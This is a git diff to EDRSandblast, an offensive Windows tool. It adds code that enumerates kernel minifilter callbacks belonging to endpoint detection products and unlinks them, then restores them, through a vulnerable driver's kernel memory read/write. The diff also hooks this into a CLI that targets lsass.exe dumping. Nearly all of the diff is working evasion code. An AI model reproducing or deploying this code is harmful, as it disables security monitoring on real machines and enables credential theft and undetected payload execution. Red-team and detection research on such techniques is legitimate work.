diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj
index 8f6b2e8..a9ca8f9 100644
--- a/EDRSandblast/EDRSandblast.vcxproj
+++ b/EDRSandblast/EDRSandblast.vcxproj
@@ -171,11 +171,13 @@
+
+
@@ -209,7 +211,9 @@
+
+
diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters
index ad5b31d..2734f4c 100644
--- a/EDRSandblast/EDRSandblast.vcxproj.filters
+++ b/EDRSandblast/EDRSandblast.vcxproj.filters
@@ -129,6 +129,12 @@
Source Files
+
+ Source Files
+
+
+ Source Files
+
@@ -254,6 +260,12 @@
Header Files
+
+ Header Files
+
+
+ Header Files
+
diff --git a/EDRSandblast/Includes/FltmgrOffsets.h b/EDRSandblast/Includes/FltmgrOffsets.h
new file mode 100644
index 0000000..334ba6e
--- /dev/null
+++ b/EDRSandblast/Includes/FltmgrOffsets.h
@@ -0,0 +1,50 @@
+#pragma once
+#include
+
+
+enum FltmgrOffsetType {
+ FltGlobals = 0,
+ _GLOBALS_FrameList,
+ _FLT_RESOURCE_LIST_HEAD_rList,
+ _FLTP_FRAME_Links,
+ _FLTP_FRAME_RegisteredFilters,
+ _FLT_OBJECT_PrimaryLink,
+ _FLT_FILTER_DriverObject,
+ _FLT_FILTER_InstanceList,
+ _DRIVER_OBJECT_DriverInit,
+ _FLT_INSTANCE_CallbackNodes,
+ _FLT_INSTANCE_FilterLink,
+ _SUPPORTED_FLTMGR_OFFSETS_END
+};
+
+union FltmgrOffsets {
+ // structure version of fltmgr.sys's offsets
+ struct {
+ DWORD64 FltGlobals;
+ DWORD64 _GLOBALS_FrameList;
+ DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
+ DWORD64 _FLTP_FRAME_Links;
+ DWORD64 _FLTP_FRAME_RegisteredFilters;
+ DWORD64 _FLT_OBJECT_PrimaryLink;
+ DWORD64 _FLT_FILTER_DriverObject;
+ DWORD64 _FLT_FILTER_InstanceList;
+ DWORD64 _DRIVER_OBJECT_DriverInit;
+ DWORD64 _FLT_INSTANCE_CallbackNodes;
+ DWORD64 _FLT_INSTANCE_FilterLink;
+ } st;
+
+ // array version (usefull for code factoring)
+ DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
+};
+
+union FltmgrOffsets g_fltmgrOffsets;
+
+BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
+
+BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
+void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
+
+BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
+
+LPTSTR GetFltmgrPath();
+LPTSTR GetFltmgrVersion();
\ No newline at end of file
diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h
index 11a2013..eb414de 100644
--- a/EDRSandblast/Includes/KernelCallbacks.h
+++ b/EDRSandblast/Includes/KernelCallbacks.h
@@ -21,6 +21,7 @@
enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK,
+ MINIFILTER_CALLBACK,
};
struct KRNL_CALLBACK {
enum kernel_callback_type_e type;
@@ -34,8 +35,11 @@ struct KRNL_CALLBACK {
struct object_callback_t {
DWORD64 enable_addr;
} object_callback;
+ struct minifilter_callback_t {
+ DWORD64 callback_node;
+ } minifilter_callback;
} addresses;
- DWORD64 callback_func;
+ DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
BOOL removed;
};
diff --git a/EDRSandblast/Includes/MinifilterCallbacks.h b/EDRSandblast/Includes/MinifilterCallbacks.h
new file mode 100644
index 0000000..d34a6d6
--- /dev/null
+++ b/EDRSandblast/Includes/MinifilterCallbacks.h
@@ -0,0 +1,9 @@
+#pragma once
+#include
+#include "KernelCallbacks.h"
+
+BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
+#if WriteMemoryPrimitiveIsAtomic
+void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
+BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
+#endif
\ No newline at end of file
diff --git a/EDRSandblast/KernellandBypass/MinifilterCallbacks.c b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c
new file mode 100644
index 0000000..a9a52be
--- /dev/null
+++ b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c
@@ -0,0 +1,167 @@
+#include
+#include
+
+#ifdef _DEBUG
+#include
+#endif
+
+#include "FltmgrOffsets.h"
+#include "IsEDRChecks.h"
+#include "KernelMemoryPrimitives.h"
+#include "KernelUtils.h"
+#include "PrintFunctions.h"
+#include "PdbSymbols.h"
+#include "MinifilterCallbacks.h"
+
+
+BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
+ BOOL edrCallbacksWereFound = FALSE;
+
+ DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
+ if (!fltmgr_base)
+ return -1;
+ if (verbose) {
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
+ + g_fltmgrOffsets.st.FltGlobals);
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
+ + g_fltmgrOffsets.st.FltGlobals
+ + g_fltmgrOffsets.st._GLOBALS_FrameList
+ + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
+ }
+
+ _putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
+ DWORD64 frame_list_header = fltmgr_base
+ + g_fltmgrOffsets.st.FltGlobals
+ + g_fltmgrOffsets.st._GLOBALS_FrameList
+ + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
+ for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
+ current_frame_shifted != frame_list_header;
+ current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
+ ) {
+ DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
+
+ DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
+ for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
+ current_filter_shifted != filter_list_header;
+ current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
+ ) {
+ DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
+
+
+ // check if current filter is EDR-related
+ DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
+ DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
+ DWORD64 driverOffset;
+ TCHAR* driver = FindDriverName(driverInit, &driverOffset);
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
+
+ if (driver && isDriverNameMatchingEDR(driver)) {
+ _putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
+
+ DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
+ for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
+ current_instance_shifted != instance_list_header;
+ current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
+ ) {
+ DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
+ //printf("\t[*] CallbackNodes : 0x%p\n", (PVOID)CallbackNodesEntry);
+
+ // for each CALLBACK_NODE in the array
+ DWORD64 CallbackNodesEntry = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
+ SIZE_T nbCallbackNodes = 0;
+ for (int j = 0; j < 50; j++)
+ {
+ DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesEntry + (j * 8));
+ // Register all callback nodes
+ if (CallbackNodePointer)
+ {
+ // Ugly hack: check if the node really is part of a linked list or have already been unlinked
+ // TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
+ DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
+ DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
+ DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
+ DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
+ if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
+ continue;
+ }
+
+ struct KRNL_CALLBACK cb = {
+ .type = MINIFILTER_CALLBACK,
+ .addresses.minifilter_callback.callback_node = CallbackNodePointer,
+ .callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
+ .driver_name = driver,
+ .removed = FALSE,
+ };
+ AddFoundKernelCallback(foundEDRCallbacks, &cb);
+ edrCallbacksWereFound = TRUE;
+ nbCallbackNodes++;
+ }
+ }
+ _tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
+ }
+ }
+ }
+ }
+
+ return edrCallbacksWereFound;
+}
+
+#if WriteMemoryPrimitiveIsAtomic
+void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
+ _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
+ SIZE_T counter = 0;
+ for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
+ ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
+ ptr++
+ ) {
+ if (ptr->type == MINIFILTER_CALLBACK &&
+ ptr->removed == FALSE) {
+ DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
+ DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
+ DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
+ WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
+ WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
+ ptr->removed = TRUE;
+ counter++;
+ }
+ }
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
+}
+
+BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
+ BOOL success = TRUE;
+ _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
+ SIZE_T counter = 0;
+ // reinsert the nodes in the inverse order to avoid invalid states
+ for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
+ edrCallbacks->EDR_CALLBACKS <= ptr;
+ ptr--
+ ) {
+ if (ptr->type == MINIFILTER_CALLBACK &&
+ ptr->removed == TRUE) {
+ DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
+ DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
+ DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
+
+ // Checks that "previous" and "next" nodes are still next to each other in the list
+ DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
+ DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
+ if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
+ _putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
+ success = FALSE;
+ continue;
+ }
+
+ WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
+ WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
+ ptr->removed = FALSE;
+ counter++;
+ }
+ }
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
+ return success;
+}
+#endif
\ No newline at end of file
diff --git a/EDRSandblast/Utils/FltmgrOffsets.c b/EDRSandblast/Utils/FltmgrOffsets.c
new file mode 100644
index 0000000..66571f4
--- /dev/null
+++ b/EDRSandblast/Utils/FltmgrOffsets.c
@@ -0,0 +1,157 @@
+#include
+#include
+#include
+#include
+
+#include "FileUtils.h"
+#include "FileVersion.h"
+#include "PrintFunctions.h"
+#include "PdbSymbols.h"
+
+#include "FltmgrOffsets.h"
+
+union FltmgrOffsets g_fltmgrOffsets = { 0 };
+
+
+BOOL FltmgrOffsetsAreLoaded() {
+ return g_fltmgrOffsets.ar[0] != 0;
+}
+
+
+BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
+ if (FltmgrOffsetsAreLoaded()) {
+ //offsets already loaded
+ return TRUE;
+ }
+
+ // load via CSV first
+ if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
+ if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
+ return TRUE;
+ }
+ _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
+ }
+
+ // load via internet then
+ if (canUseInternet) {
+ _putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
+#if _DEBUG
+ if (LoadFltmgrOffsetsFromInternet(FALSE)) {
+#else
+ if (LoadFltmgrOffsetsFromInternet(TRUE)) {
+#endif
+ _putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
+ if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
+ _putts_or_not(TEXT("[+] Saving them to the CSV file..."));
+ SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
+ }
+ return TRUE;
+ }
+ _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
+ }
+
+ return FALSE;
+}
+
+BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
+ LPTSTR fltmgrVersion = GetFltmgrVersion();
+ _tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
+
+ FILE* offsetFileStream = NULL;
+ _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
+
+ if (offsetFileStream == NULL) {
+ _putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
+ return FALSE;
+ }
+
+ TCHAR lineFltmgrVersion[256];
+ TCHAR line[2048];
+ while (_fgetts(line, _countof(line), offsetFileStream)) {
+ TCHAR* dupline = _tcsdup(line);
+ TCHAR* tmpBuffer = NULL;
+ _tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
+ if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
+ TCHAR* endptr;
+ _tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
+ for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
+ g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
+ }
+ break;
+ }
+ }
+ fclose(offsetFileStream);
+
+ return FltmgrOffsetsAreLoaded();
+}
+
+void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
+ LPTSTR fltmgrVersion = GetFltmgrVersion();
+
+ FILE* offsetFileStream = NULL;
+ _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
+
+ if (offsetFileStream == NULL) {
+ _putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
+ return;
+ }
+
+ _ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
+ for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
+ _ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
+ }
+ _fputts(TEXT("\n"), offsetFileStream);
+
+ fclose(offsetFileStream);
+}
+
+
+BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
+ LPTSTR fltmgrPath = GetFltmgrPath();
+ symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
+ if (sym_ctx == NULL) {
+ return FALSE;
+ }
+ g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
+ g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
+ g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
+ g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
+ g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
+ g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
+ g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
+ g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
+ g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
+ g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
+ UnloadSymbols(sym_ctx, delete_pdb);
+
+ return FltmgrOffsetsAreLoaded();
+}
+
+TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
+LPTSTR GetFltmgrPath() {
+ if (_tcslen(g_fltmgrPath) == 0) {
+ // Retrieves the system folder (eg C:\Windows\System32).
+ TCHAR systemDirectory[MAX_PATH] = { 0 };
+ GetSystemDirectory(systemDirectory, _countof(systemDirectory));
+
+ // Compute fltmgr.sys path.
+ PathAppend(g_fltmgrPath, systemDirectory);
+ PathAppend(g_fltmgrPath, TEXT("drivers"));
+ PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
+ }
+ return g_fltmgrPath;
+}
+
+TCHAR g_fltmgrVersion[256] = { 0 };
+LPTSTR GetFltmgrVersion() {
+ if (_tcslen(g_fltmgrVersion) == 0) {
+ LPTSTR fltmgrPath = GetFltmgrPath();
+
+ TCHAR versionBuffer[256] = { 0 };
+ GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
+
+ _stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
+ }
+ return g_fltmgrVersion;
+}
\ No newline at end of file
diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c
index bf91568..909e430 100644
--- a/EDRSandblast_CLI/EDRSandblast.c
+++ b/EDRSandblast_CLI/EDRSandblast.c
@@ -14,11 +14,13 @@
#include "CredGuard.h"
#include "DriverOps.h"
#include "FileUtils.h"
+#include "FltmgrOffsets.h"
#include "Firewalling.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "KernelDSE.h"
#include "KernelMemoryPrimitives.h"
+#include "MinifilterCallbacks.h"
#include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h"
#include "ProcessDump.h"
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] \n\
[--usermode] [--unhook-method ] [--direct-syscalls] [--add-dll ]* \n\
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
- [--nt-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\
+ [--nt-offsets ] [--fltmgr-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\
[--vuln-driver ] [--vuln-service ] \n\
[--unsigned-driver ] [--unsigned-service ] \n\
[--no-kdp]\n\
@@ -168,6 +170,8 @@ Offset-related options:\n\
\n\
--nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
+--fltmgr-offsets Path to the CSV file containing the required fltmgr.sys's offsets\n\
+ Default to 'FltmgrOffsets.csv' in the current directory.\n\
--wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
@@ -204,6 +208,7 @@ Dump options:\n\
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
+ TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE;
@@ -219,6 +224,7 @@ Dump options:\n\
BOOL ETWTIState = FALSE;
BOOL foundNotifyRoutineCallbacks = FALSE;
BOOL foundObjectCallbacks = FALSE;
+ BOOL foundMinifilterCallbacks = FALSE;
HOOK* hooks = NULL;
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
@@ -305,6 +311,14 @@ Dump options:\n\
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
+ else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
+ i++;
+ if (i > argc) {
+ _tprintf_or_not(TEXT("%s"), usage);
+ return EXIT_FAILURE;
+ }
+ _tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
+ }
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
@@ -483,6 +497,14 @@ Dump options:\n\
PrintNtoskrnlOffsets();
}
+ if (_tcslen(fltmgrOffsetCSVPath) == 0) {
+ PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
+ PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
+ }
+ if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
+ return EXIT_FAILURE;
+ }
+
// Install the vulnerable driver to have read / write in Kernel memory.
LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
@@ -533,6 +555,19 @@ Dump options:\n\
}
_putts_or_not(TEXT(""));
+ _putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
+ foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
+
+ if (foundMinifilterCallbacks) {
+#if WriteMemoryPrimitiveIsAtomic
+ isSafeToExecutePayloadKernelland = FALSE;
+#else
+ _putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
+#endif
+ }
+ _putts_or_not(TEXT(""));
+
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
@@ -827,7 +862,13 @@ Dump options:\n\
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
-
+#if WriteMemoryPrimitiveIsAtomic
+ if (foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
+ RemoveEDRMinifilterCallbacks(foundEDRDrivers);
+ _putts_or_not(TEXT(""));
+ }
+#endif
/*
* 2/3 : Starting "resursively" our process.
*/
@@ -866,7 +907,13 @@ Dump options:\n\
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
-
+#if WriteMemoryPrimitiveIsAtomic
+ if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
+ RestoreEDRMinifilterCallbacks(foundEDRDrivers);
+ _putts_or_not(TEXT(""));
+ }
+#endif
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.c b/EDRSandblast_StaticLibrary/EDRSandblast_API.c
index dd0c86b..34990a7 100644
--- a/EDRSandblast_StaticLibrary/EDRSandblast_API.c
+++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.c
@@ -6,8 +6,10 @@
#include "ETWThreatIntel.h"
#include "FileUtils.h"
#include "Firewalling.h"
+#include "FltmgrOffsets.h"
#include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h"
+#include "MinifilterCallbacks.h"
#include "PrintFunctions.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
EDRSB_STATUS status;
BOOL driverInstallRequired = FALSE;
- BOOL kernelOffsetsLoaded = FALSE;
ctx->config = config;
if (config->actions.ProtectProcess) {
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
if (config->bypassMode.Krnlmode) {
status = _LoadNtosKrnlOffsets(ctx);
if (status != EDRSB_SUCCESS) {
- _tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
+ _tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
}
- else {
- kernelOffsetsLoaded = TRUE;
+ BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
+ if (!success) {
+ _tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
+ return status;
}
driverInstallRequired = TRUE;
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
BOOL isSafeToExecutePayload = TRUE;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectsCallbacks;
+ BOOL foundMinifilterCallbacks;
BOOL isETWTICurrentlyEnabled;
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->foundNotifyRoutineCallbacks = TRUE;
}
if (ctx) {
- _tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
+ _tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
}
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
}
if (ctx) {
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
+ _putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
+ }
+
